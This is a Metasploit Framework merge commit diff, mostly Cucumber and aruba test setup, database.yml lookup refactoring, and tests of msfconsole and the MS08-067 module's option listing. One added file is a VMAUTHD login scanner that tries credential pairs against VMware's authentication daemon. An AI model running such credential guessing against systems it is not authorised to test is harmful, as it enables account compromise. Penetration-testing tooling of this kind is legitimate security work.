Merge branch 'aruba-testing-with-updated-master' into aruba-testing

bug/bundler_fix
darkbushido 2014-09-02 19:00:46 -05:00
commit 794dc136f6
No known key found for this signature in database
GPG Key ID: 3922EB70FB80E8DD
134 changed files with 2772 additions and 1105 deletions

View File

@ -39,6 +39,11 @@ Style/MethodLength:
often exceed 200 lines. often exceed 200 lines.
Max: 300 Max: 300
# Basically everything in metasploit needs binary encoding, not UTF-8.
# Disable this here and enforce it through msftidy
Style/Encoding:
Enabled: false
Style/NumericLiterals: Style/NumericLiterals:
Enabled: false Enabled: false
Description: 'This often hurts readability for exploit-ish code.' Description: 'This often hurts readability for exploit-ish code.'
@ -53,4 +58,22 @@ Style/StringLiterals:
Style/WordArray: Style/WordArray:
Enabled: false Enabled: false
Description: 'Metasploit prefers consistent use of []' Description: 'Metasploit prefers consistent use of []'
Style/RedundantBegin:
Exclude:
# this pattern is very common and somewhat unavoidable
# def run_host(ip)
# begin
# ...
# rescue ...
# ...
# ensure
# disconnect
# end
# end
- 'modules/**/*'
Documentation:
Exclude:
- 'modules/**/*'

View File

@ -1,3 +1,7 @@
env:
- RAKE_TASK=cucumber
- RAKE_TASK=cucumber:boot
- RAKE_TASK=spec
language: ruby language: ruby
before_install: before_install:
- rake --version - rake --version
@ -14,6 +18,7 @@ before_script:
- bundle exec rake --version - bundle exec rake --version
- bundle exec rake db:create - bundle exec rake db:create
- bundle exec rake db:migrate - bundle exec rake db:migrate
script: "bundle exec rake $RAKE_TASK"
rvm: rvm:
#- '1.8.7' #- '1.8.7'
@ -30,4 +35,4 @@ env:
- RAKE_TASK=features:boot - RAKE_TASK=features:boot
- RAKE_TASK=spec - RAKE_TASK=spec
script: "bundle exec rake $RAKE_TASK" script: "bundle exec rake $RAKE_TASK"

View File

@ -39,10 +39,6 @@ group :development, :test do
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
# environment is development # environment is development
gem 'rspec-rails' , '>= 2.12', '< 3.0.0' gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
gem 'cucumber-rails', :require => false
gem 'aruba'
end end
group :pcap do group :pcap do
@ -52,6 +48,10 @@ group :pcap do
end end
group :test do group :test do
# cucumber extension for testing command line applications, like msfconsole
gem 'aruba'
# cucumber + automatic database cleaning with database_cleaner
gem 'cucumber-rails'
gem 'shoulda-matchers' gem 'shoulda-matchers'
# code coverage for tests # code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files. # any version newer than 0.5.4 gives an Encoding error when trying to read the source files.

View File

@ -51,7 +51,7 @@ GEM
arel (3.0.3) arel (3.0.3)
arel-helpers (2.0.1) arel-helpers (2.0.1)
activerecord (>= 3.1.0, < 5) activerecord (>= 3.1.0, < 5)
aruba (0.6.0) aruba (0.6.1)
childprocess (>= 0.3.6) childprocess (>= 0.3.6)
cucumber (>= 1.1.1) cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0) rspec-expectations (>= 2.7.0)
@ -117,7 +117,7 @@ GEM
mime-types (1.25.1) mime-types (1.25.1)
mini_portile (0.6.0) mini_portile (0.6.0)
msgpack (0.5.8) msgpack (0.5.8)
multi_json (1.0.4) multi_json (1.0.3)
network_interface (0.0.1) network_interface (0.0.1)
nokogiri (1.6.3.1) nokogiri (1.6.3.1)
mini_portile (= 0.6.0) mini_portile (= 0.6.0)
@ -196,7 +196,7 @@ GEM
treetop (1.4.15) treetop (1.4.15)
polyglot polyglot
polyglot (>= 0.3.1) polyglot (>= 0.3.1)
tzinfo (0.3.40) tzinfo (0.3.41)
xpath (2.0.0) xpath (2.0.0)
nokogiri (~> 1.3) nokogiri (~> 1.3)
yard (0.8.7.4) yard (0.8.7.4)

View File

@ -26,30 +26,14 @@ require 'action_view/railtie'
# #
require 'metasploit/framework/common_engine' require 'metasploit/framework/common_engine'
require 'msf/base/config' require 'metasploit/framework/database'
module Metasploit module Metasploit
module Framework module Framework
class Application < Rails::Application class Application < Rails::Application
include Metasploit::Framework::CommonEngine include Metasploit::Framework::CommonEngine
environment_database_yaml = ENV['MSF_DATABASE_CONFIG'] config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
if environment_database_yaml
# DO NOT check if the path exists: if the environment variable is set, then the user meant to use this path
# and if it doesn't exist then an error should occur so the user knows the environment variable points to a
# non-existent file.
config.paths['config/database'] = environment_database_yaml
else
user_config_root = Pathname.new(Msf::Config.get_config_root)
user_database_yaml = user_config_root.join('database.yml')
# DO check if the path exists as in test environments there may be no config root, in which case the normal
# rails location, `config/database.yml`, should contain the database config.
if user_database_yaml.exist?
config.paths['config/database'] = [user_database_yaml.to_path]
end
end
end end
end end
end end

View File

@ -1,6 +1,10 @@
# config/cucumber.yml <%
##YAML Template rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : ""
--- rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}"
<% common = "--tags ~@wip --strict --tags ~@targets" %> std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip"
default: <%= common %> --tags ~@boot features ignored_tags = "--tags ~@boot --tags ~@targets"
boot: <%= common %> --tags @boot features %>
default: <%= std_opts %> <%= ignored_tags %> features
boot: <%= std_opts %> --tags @boot features
wip: --tags @wip:3 --wip features
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip

View File

@ -1,6 +1,9 @@
@msfconsole
Feature: Help command Feature: Help command
Background:
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Scenario: The 'help' command's output Scenario: The 'help' command's output
When I type "help" When I type "help"
And I type "exit" And I type "exit"

View File

@ -1,160 +1,98 @@
@msfconsole
Feature: MS08-067 netapi Feature: MS08-067 netapi
Background:
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Scenario: The MS08-067 Module should have the following options Scenario: The MS08-067 Module should have the following options
When I type "use exploit/windows/smb/ms08_067_netapi" When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show options" And I type "show options"
And I type "exit" And I type "exit"
Then the output should contain: Then the output should contain the following:
""" | Module options (exploit/windows/smb/ms08_067_netapi) |
Module options (exploit/windows/smb/ms08_067_netapi): | Name Current Setting Required Description |
| ---- --------------- -------- ----------- |
Name Current Setting Required Description | RHOST yes The target address |
---- --------------- -------- ----------- | RPORT 445 yes Set the SMB service port |
RHOST yes The target address | RPORT 445 yes Set the SMB service port |
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
"""
Scenario: The MS08-067 Module should have the following advanced options Scenario: The MS08-067 Module should have the following advanced options
When I type "use exploit/windows/smb/ms08_067_netapi" When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show advanced" And I type "show advanced"
And I type "exit" And I type "exit"
Then the output should contain: Then the output should contain the following:
""" | Name : CHOST |
Module advanced options: | Description : The local client address |
| Name : CPORT |
| Description : The local client port |
| Name : ConnectTimeout |
| Description : Maximum number of seconds to establish a TCP connection |
| Name : ContextInformationFile |
| Description : The information file that contains context information |
| Name : DCERPC::ReadTimeout |
| Description : The number of seconds to wait for DCERPC responses |
| Name : DisablePayloadHandler |
| Description : Disable the handler code for the selected payload |
| Name : EnableContextEncoding |
| Description : Use transient context when encoding payloads |
| Name : NTLM::SendLM |
| Description : Always send the LANMAN response (except when NTLMv2_session is |
| specified) |
| Name : NTLM::SendNTLM |
| Description : Activate the 'Negotiate NTLM key' flag, indicating the use of |
| NTLM responses |
| Name : NTLM::SendSPN |
| Current Setting: true |
| Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow |
| authentification on windows Seven/2008r2 when SPN is required |
| Name : NTLM::UseLMKey |
| Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key |
| when the LM response is sent |
| Name : NTLM::UseNTLM2_session |
| Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a |
| NTLMv2_session |
| Name : NTLM::UseNTLMv2 |
| Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key |
| is true |
# | Name : Proxies |
# | Description : Use a proxy chain |
| Name : SMB::ChunkSize |
| Current Setting: 500 |
| Description : The chunk size for SMB segments, bigger values will increase |
| speed but break NT 4.0 and SMB signing |
| Name : SMB::Native_LM |
| Description : The Native LM to send during authentication |
| Name : SMB::Native_OS |
| Description : The Native OS to send during authentication |
| Name : SMB::VerifySignature |
| Description : Enforces client-side verification of server response signatures |
| Name : SMBDirect |
| Description : The target port is a raw SMB service (not NetBIOS) |
| Name : SMBDomain |
| Description : The Windows domain to use for authentication |
| Name : SMBName |
| Description : The NetBIOS hostname (required for port 139 connections) |
| Name : SMBPass |
| Description : The password for the specified username |
| Name : SMBUser |
| Description : The username to authenticate as |
| Name : SSL |
| Description : Negotiate SSL for outgoing connections |
| Name : SSLCipher |
| Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" |
| Name : SSLVerifyMode |
| Description : SSL verification method (accepted: CLIENT_ONCE, |
| FAIL_IF_NO_PEER_CERT, NONE, PEER) |
| Name : SSLVersion |
| Description : Specify the version of SSL that should be used (accepted: SSL2, |
| SSL3, TLS1) |
| Name : VERBOSE |
| Description : Enable detailed status messages |
| Name : WORKSPACE |
| Description : Specify the workspace for this module |
| Name : WfsDelay |
| Description : Additional delay when waiting for a session |
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
Name : ConnectTimeout
Current Setting: 10
Description : Maximum number of seconds to establish a TCP connection
Name : ContextInformationFile
Current Setting:
Description : The information file that contains context information
Name : DCERPC::ReadTimeout
Current Setting: 10
Description : The number of seconds to wait for DCERPC responses
Name : DisablePayloadHandler
Current Setting: false
Description : Disable the handler code for the selected payload
Name : EnableContextEncoding
Current Setting: false
Description : Use transient context when encoding payloads
Name : NTLM::SendLM
Current Setting: true
Description : Always send the LANMAN response (except when NTLMv2_session is
specified)
Name : NTLM::SendNTLM
Current Setting: true
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
NTLM responses
Name : NTLM::SendSPN
Current Setting: true
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
authentification on windows Seven/2008r2 when SPN is required
Name : NTLM::UseLMKey
Current Setting: false
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
when the LM response is sent
Name : NTLM::UseNTLM2_session
Current Setting: true
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
NTLMv2_session
Name : NTLM::UseNTLMv2
Current Setting: true
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
is true
Name : Proxies
Current Setting:
Description : Use a proxy chain
Name : SMB::ChunkSize
Current Setting: 500
Description : The chunk size for SMB segments, bigger values will increase
speed but break NT 4.0 and SMB signing
Name : SMB::Native_LM
Current Setting: Windows 2000 5.0
Description : The Native LM to send during authentication
Name : SMB::Native_OS
Current Setting: Windows 2000 2195
Description : The Native OS to send during authentication
Name : SMB::VerifySignature
Current Setting: false
Description : Enforces client-side verification of server response signatures
Name : SMBDirect
Current Setting: true
Description : The target port is a raw SMB service (not NetBIOS)
Name : SMBDomain
Current Setting: .
Description : The Windows domain to use for authentication
Name : SMBName
Current Setting: *SMBSERVER
Description : The NetBIOS hostname (required for port 139 connections)
Name : SMBPass
Current Setting:
Description : The password for the specified username
Name : SMBUser
Current Setting:
Description : The username to authenticate as
Name : SSL
Current Setting: false
Description : Negotiate SSL for outgoing connections
Name : SSLCipher
Current Setting:
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
Name : SSLVerifyMode
Current Setting: PEER
Description : SSL verification method (accepted: CLIENT_ONCE,
FAIL_IF_NO_PEER_CERT, NONE, PEER)
Name : SSLVersion
Current Setting: SSL3
Description : Specify the version of SSL that should be used (accepted: SSL2,
SSL3, TLS1)
Name : VERBOSE
Current Setting: false
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
Name : WfsDelay
Current Setting: 0
Description : Additional delay when waiting for a session
"""
@msfconsole
@targets @targets
Scenario: Show RHOST/etc variable expansion from a config file Scenario: Show RHOST/etc variable expansion from a config file
When I type "use exploit/windows/smb/ms08_067_netapi" When I type "use exploit/windows/smb/ms08_067_netapi"
@ -165,5 +103,3 @@ Feature: MS08-067 netapi
And I type "exit" And I type "exit"
And I type "exit" And I type "exit"
Then the output should match /spider-wxp/ Then the output should match /spider-wxp/

View File

@ -1,47 +0,0 @@
@boot
Feature: Launching `msfconsole`
@no-database-yml
Scenario: Starting `msfconsole` without a database.yml
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[*] postgresql selected, no connection"
@no-database-yml
Scenario: Starting `msfconsole` with an invalid database.yml
Given a file named "database.yml" with:
"""
development: &pgsql
adapter: postgresql
database: metasploit_framework_development
username: postgres
port: 6543
pool: 5
timeout: 5
production:
<<: *pgsql
test:
<<: *pgsql
database: metasploit_framework_test
"""
Given I run `msfconsole -y database.yml` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[-] Failed to connect to the database: could not connect to server"
Then the output should contain "[*] postgresql selected, no connection"
Scenario: Starting `msfconsole` with a valid database.yml
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[*] postgresql connected to metasploit_framework_test"

View File

@ -0,0 +1,167 @@
@boot
Feature: `msfconsole` `database.yml`
In order to connect to the database in `msfconsole`
As a user calling `msfconsole` from a terminal
I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence):
1. An explicit argument to the `-y` flag to `msfconsole`
2. The MSF_DATABASE_CONFIG environment variable
3. The user's `~/.msf4/database.yml`
4. `config/database.yml` in the metasploit-framework checkout location.
Scenario: With all 4 locations, --yaml wins
Given a file named "command_line.yml" with:
"""
test:
adapter: postgresql
database: command_line_metasploit_framework_test
username: command_line_metasploit_framework_test
"""
And a file named "msf_database_config.yml" with:
"""
test:
adapter: postgresql
database: environment_metasploit_framework_test
username: environment_metasploit_framework_test
"""
And I set the environment variables to:
| variable | value |
| MSF_DATABASE_CONFIG | msf_database_config.yml |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And a directory named ".msf4"
And I cd to ".msf4"
And a file named "database.yml" with:
"""
test:
adapter: postgresql
database: user_metasploit_framework_test
username: user_metasploit_framework_test
"""
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test --yaml command_line.yml` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "command_line_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG wins
Given a file named "msf_database_config.yml" with:
"""
test:
adapter: postgresql
database: environment_metasploit_framework_test
username: environment_metasploit_framework_test
"""
And I set the environment variables to:
| variable | value |
| MSF_DATABASE_CONFIG | msf_database_config.yml |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And a directory named ".msf4"
And I cd to ".msf4"
And a file named "database.yml" with:
"""
test:
adapter: postgresql
database: user_metasploit_framework_test
username: user_metasploit_framework_test
"""
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "environment_metasploit_framework_test"
Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins
Given I unset the environment variables:
| variable |
| MSF_DATABASE_CONFIG |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And a directory named ".msf4"
And I cd to ".msf4"
And a file named "database.yml" with:
"""
test:
adapter: postgresql
database: user_metasploit_framework_test
username: user_metasploit_framework_test
"""
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "user_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins
Given I unset the environment variables:
| variable |
| MSF_DATABASE_CONFIG |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And I cd to "../.."
And the project "database.yml" exists with:
"""
test:
adapter: postgresql
database: project_metasploit_framework_test
username: project_metasploit_framework_test
"""
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "exit"
Then the output should contain "project_metasploit_framework_test"
Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection
Given I unset the environment variables:
| variable |
| MSF_DATABASE_CONFIG |
And a directory named "home"
And I cd to "home"
And a mocked home directory
And I cd to "../.."
And the project "database.yml" does not exist
When I run `msfconsole --environment test` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
And I type "db_status"
And I type "exit"
Then the output should not contain "command_line_metasploit_framework_test"
And the output should not contain "environment_metasploit_framework_test"
And the output should not contain "user_metasploit_framework_test"
And the output should not contain "project_metasploit_framework_test"
And the output should contain "[*] postgresql selected, no connection"
Scenario: Starting `msfconsole` with a valid database.yml
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
When I type "db_status"
And I type "exit"
Then the output should contain "[*] postgresql connected to metasploit_framework_test"

View File

@ -0,0 +1,5 @@
Then /^the output should contain the following:$/ do |table|
table.raw.flatten.each do |expected|
assert_partial_output(expected, all_output)
end
end

View File

@ -0,0 +1,20 @@
Given /^I unset the environment variables:$/ do |table|
table.hashes.each do |row|
variable = row['variable'].to_s.upcase
# @todo add extension to Announcer
announcer.instance_eval do
if @options[:env]
print "$ unset #{variable}"
end
end
current_value = ENV.delete(variable)
# if original_env already has the key, then the true original was already recorded from a previous unset or set,
# so don't record the current value as it will cause ENV not to be restored after the Scenario.
unless original_env.key? variable
original_env[variable] = current_value
end
end
end

View File

@ -0,0 +1,14 @@
require 'metasploit/framework/database/cucumber'
Given /^the project "database.yml" does not exist$/ do
Metasploit::Framework::Database::Cucumber.backup_project_configurations
end
Given /^the project "database.yml" exists with:$/ do |file_content|
Metasploit::Framework::Database::Cucumber.backup_project_configurations
write_file(Metasploit::Framework::Database::Cucumber.project_configurations_path, file_content)
end
After do
Metasploit::Framework::Database::Cucumber.restore_project_configurations
end

26
features/support/bin/stty Executable file
View File

@ -0,0 +1,26 @@
#!/usr/bin/env ruby
case ARGV[0]
when 'size'
puts "30 134"
when '-a'
puts <<EOS
speed 38400 baud; 30 rows; 134 columns;
lflags: icanon isig iexten echo echoe echok echoke -echonl echoctl
-echoprt -altwerase -noflsh -tostop -flusho pendin -nokerninfo
-extproc
iflags: -istrip icrnl -inlcr -igncr ixon -ixoff ixany imaxbel iutf8
-ignbrk brkint -inpck -ignpar -parmrk
oflags: opost onlcr -oxtabs -onocr -onlret
cflags: cread cs8 -parenb -parodd hupcl -clocal -cstopb -crtscts -dsrflow
-dtrflow -mdmbuf
cchars: discard = ^O; dsusp = ^Y; eof = ^D; eol = <undef>;
eol2 = <undef>; erase = ^?; intr = ^C; kill = ^U; lnext = ^V;
min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T;
stop = ^S; susp = ^Z; time = 0; werase = ^W;
EOS
when '-g'
puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400"
end
exit 0

View File

@ -1,13 +1,31 @@
require 'cucumber/rails' # IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
# It is recommended to regenerate this file in the future when you upgrade to a
# newer version of cucumber-rails. Consider adding your own code to a new file
# instead of editing this one. Cucumber will automatically load all features/**/*.rb
# files.
require 'cucumber/rails'
require 'aruba/cucumber' require 'aruba/cucumber'
paths = [ # Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In
File.expand_path(File.join(File.dirname(__FILE__), %w(.. ..))), # order to ease the transition to Capybara we set the default here. If you'd
ENV['PATH'] # prefer to use XPath just remove this line and adjust any selectors in your
] # steps to use the XPath syntax.
ENV['PATH'] = paths.join(File::PATH_SEPARATOR) Capybara.default_selector = :css
Before do # By default, any exception happening in your Rails application will bubble up
@aruba_timeout_seconds = 180 # to Cucumber so that your scenario will fail. This is a different from how
end # your application behaves in the production environment, where an error page will
# be rendered instead.
#
# Sometimes we want to override this default behaviour and allow Rails to rescue
# exceptions and display an error page (just like when the app is running in production).
# Typical scenarios where you want to do this is when you test your error pages.
# There are two ways to allow Rails to rescue exceptions:
#
# 1) Tag your scenario (or feature) with @allow-rescue
#
# 2) Set the value below to true. Beware that doing this globally is not
# recommended as it will mask a lot of errors for you!
#
ActionController::Base.allow_rescue = false

View File

@ -1,34 +1,5 @@
Before do Before do
set_env('RAILS_ENV', 'test')
set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first) set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first)
end set_env('RAILS_ENV', 'test')
@aruba_timeout_seconds = 3.minutes
Before('@msfconsole') do
step 'I run `msfconsole` interactively'
step 'I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"'
# we should not see the following
# -- --=[ 0 exploits - 0 auxiliary - 0 post ]
# -- --=[ 0 payloads - 0 encoders - 0 nops ]
end
Before('@targets') do
step 'targets are loaded'
end
Before('@no-database-yml') do
if File.exists?('config/database.yml') && File.exists?('config/database.yml.local')
FileUtils.rm('config/database.yml.local')
FileUtils.mv('config/database.yml', 'config/database.yml.local')
elsif File.exists?('config/database.yml')
FileUtils.mv('config/database.yml', 'config/database.yml.local')
end
end
After('@no-database-yml') do
if File.exists?('config/database.yml') && File.exists?('config/database.yml.local')
FileUtils.rm('config/database.yml')
FileUtils.mv('config/database.yml.local', 'config/database.yml')
elsif File.exists?('config/database.yml.local')
FileUtils.mv('config/database.yml.local', 'config/database.yml')
end
end end

View File

@ -1,2 +0,0 @@
#!/bin/sh
exit 0

11
features/support/stty.rb Normal file
View File

@ -0,0 +1,11 @@
require 'pathname'
support = Pathname.new(__FILE__).realpath.parent
paths = [
# adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty
# output.
support.join('bin').to_path,
ENV['PATH']
]
ENV['PATH'] = paths.join(File::PATH_SEPARATOR)

View File

@ -1,14 +1,100 @@
require 'metasploit/framework' require 'metasploit/framework'
require 'msf/base/config'
module Metasploit module Metasploit
module Framework module Framework
module Database module Database
def self.configurations #
YAML.load_file(configurations_pathname) # CONSTANTS
#
CONFIGURATIONS_PATHNAME_PRECEDENCE = [
:environment_configurations_pathname,
:user_configurations_pathname,
:project_configurations_pathname
]
#
# Module Methods
#
# Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`.
#
# @param options [Hash{Symbol=>String}]
# @option options [String] :path Path to use instead of first element of {configurations_pathnames}
# @return [Pathname] if configuration pathname exists.
# @return [nil] if configuration pathname does not exist.
def self.configurations_pathname(options={})
options.assert_valid_keys(:path)
path = options[:path]
if path.present?
pathname = Pathname.new(path)
else
pathname = configurations_pathnames.first
end
if pathname.present? && pathname.exist?
pathname
else
nil
end
end end
def self.configurations_pathname # Return configuration pathnames that exist.
Metasploit::Framework::Application.paths['config/database'].first #
# Returns `Pathnames` in order of precedence
#
# 1. {environment_configurations_pathname}
# 2. {user_configurations_pathname}
# 3. {project_configurations_pathname}
#
# @return [Array<Pathname>]
def self.configurations_pathnames
configurations_pathnames = []
CONFIGURATIONS_PATHNAME_PRECEDENCE.each do |configurations_pathname_message|
configurations_pathname = public_send(configurations_pathname_message)
if !configurations_pathname.nil? && configurations_pathname.exist?
configurations_pathnames << configurations_pathname
end
end
configurations_pathnames
end
# Pathname to `database.yml` pointed to by `MSF_DATABASE_CONFIG` environment variable.
#
# @return [Pathname] if `MSF_DATABASE_CONFIG` is not blank.
# @return [nil] otherwise
def self.environment_configurations_pathname
msf_database_config = ENV['MSF_DATABASE_CONFIG']
if msf_database_config.blank?
msf_database_config = nil
else
msf_database_config = Pathname.new(msf_database_config)
end
msf_database_config
end
# Pathname to `database.yml` for the metasploit-framework project in `config/database.yml`.
#
# @return [Pathname]
def self.project_configurations_pathname
root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent
root.join('config', 'database.yml')
end
# Pathname to `database.yml` in the user's config directory.
#
# @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default).
# @return [nil] if the user does not have a `database.yml` in their config directory.
def self.user_configurations_pathname
Pathname.new(Msf::Config.get_config_root).join('database.yml')
end end
end end
end end

View File

@ -0,0 +1,36 @@
require 'metasploit/framework/database'
module Metasploit::Framework::Database::Cucumber
def self.project_configurations_path
Rails.root.join('config', 'database.yml').to_path
end
def self.backup_project_configurations
if File.exist?(project_configurations_path)
# assume that the backup file is from a previously aborted run and it contains the real database.yml data, so
# just delete the fake database.yml and the After hook will restore the real database.yml from the backup location
if File.exist?(backup_project_configurations_path)
File.delete(project_configurations_path)
else
# project contains the real database.yml and there was no previous, aborted run.
File.rename(project_configurations_path, backup_project_configurations_path)
end
end
end
def self.backup_project_configurations_path
"#{project_configurations_path}.cucumber.bak"
end
def self.restore_project_configurations
if File.exist?(backup_project_configurations_path)
if File.exist?(project_configurations_path)
# Remove fake, leftover database.yml
File.delete(project_configurations_path)
end
File.rename(backup_project_configurations_path, project_configurations_path)
end
end
end

View File

@ -88,7 +88,7 @@ module Metasploit
else else
result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED) result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED)
end end
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
ensure ensure
http_client.close http_client.close

View File

@ -0,0 +1,112 @@
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'metasploit/framework/tcp/client'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with vmware-auth.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class VMAUTHD
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
DEFAULT_PORT = 902
LIKELY_PORTS = [ DEFAULT_PORT, 903, 912 ]
LIKELY_SERVICE_NAMES = [ 'vmauthd', 'vmware-auth' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
service_name: 'vmauthd',
protocol: 'tcp'
}
disconnect if self.sock
begin
connect
select([sock], nil, nil, 0.4)
# Check to see if we received an OK?
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^220 VMware Authentication Daemon Version.*/]
# Switch to SSL if required
swap_sock_plain_to_ssl(sock) if result_options[:proof] && result_options[:proof][/SSL/]
# If we received an OK we should send the USER
sock.put("USER #{credential.public}\r\n")
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^331.*/]
# If we got an OK after the username we can send the PASS
sock.put("PASS #{credential.private}\r\n")
result_options[:proof] = sock.get_once
if result_options[:proof] && result_options[:proof][/^230.*/]
# if the pass gives an OK, we're good to go
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
end
end
end
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e
result_options.merge!(
proof: e.message,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
)
end
disconnect if self.sock
Result.new(result_options)
end
private
# (see Base#set_sane_defaults)
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.max_send_size ||= 0
self.send_delay ||= 0
end
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
nsock.extend(Rex::Socket::SslTcp)
nsock.sslsock = ssl
nsock.sslctx = ctx
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){}
ctx.key = @@cached_rsa_key
ctx.session_id_context = Rex::Text.rand_text(16)
ctx
end
end
end
end
end

View File

@ -14,8 +14,8 @@ require 'active_support/ordered_options'
# Project # Project
# #
require 'metasploit/framework/database'
require 'metasploit/framework/parsed_options' require 'metasploit/framework/parsed_options'
require 'msf/base/config'
# Options parsed from the command line that can be used to change the # Options parsed from the command line that can be used to change the
